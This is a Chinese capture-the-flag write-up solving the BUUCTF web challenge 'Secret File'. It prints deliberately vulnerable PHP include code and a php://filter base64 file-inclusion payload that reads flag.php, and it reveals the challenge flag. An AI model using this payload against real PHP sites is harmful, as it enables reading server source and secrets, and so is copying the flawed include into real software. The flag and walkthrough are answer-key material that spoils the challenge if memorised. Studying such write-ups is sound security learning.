BUUCTF-Web-[极客大挑战 2019]Secret File

    打开题目环境，如下所示：

    BUUCTF-Web-[极客大挑战 2019]Secret File - 图1

    右键查看源码：

    1. <!DOCTYPE html>
    3. <html>
    5. <style type="text/css" >
    6. #master {
    7.     position:absolute;
    8.     left:44%;
    9.     bottom:0;
    10.     text-align :center;
    11.         }
    12.         p,h1 {
    13.                 cursor: default;
    14.         }
    15. </style>
    17.         <head>
    18.                 <meta charset="utf-8">
    19.                 <title>蒋璐源的秘密</title>
    20.         </head>
    22.         <body style="background-color:black;"><br><br><br><br><br><br>
    24.             <h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么？</h1><br><br><br>
    26.             <p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你，去找吧！把一切都放在那里了！</p>
    27.             <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
    28.             <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
    29.         </body>
    30. </html>

    源码里发现href=”./Archive_room.php连接，访问该连接,如下所示：

    BUUCTF-Web-[极客大挑战 2019]Secret File - 图2

    点击SECRET，如下所示：

    BUUCTF-Web-[极客大挑战 2019]Secret File - 图3

    返回查看Archive_room.php源码，发现点击SECRET后应该跳转到action.php，但是点击以后直接到了end.php。

    BUUCTF-Web-[极客大挑战 2019]Secret File - 图4

    使用Burp抓包，发现线索

    BUUCTF-Web-[极客大挑战 2019]Secret File - 图5

    访问secr3t.php ，获得flag线索

    <html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

    文件包含漏洞，直接构造payload

    http://03548587-d3f5-4d70-bdca-d65894df6ae3.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=./flag.php

    获得flag.php源码base64编码如下：

    PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MzMyNTc2ZTAtNjc1Ny00ZGU2LThhYzAtOGQzNWNmNGVhOGFmfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

    解码,获得flag。

    <!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>

        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈！你找到我了！可是你看不到我QAQ~~~</h1><br><br><br>

        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{332576e0-6757-4de6-8ac0-8d35cf4ea8af}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>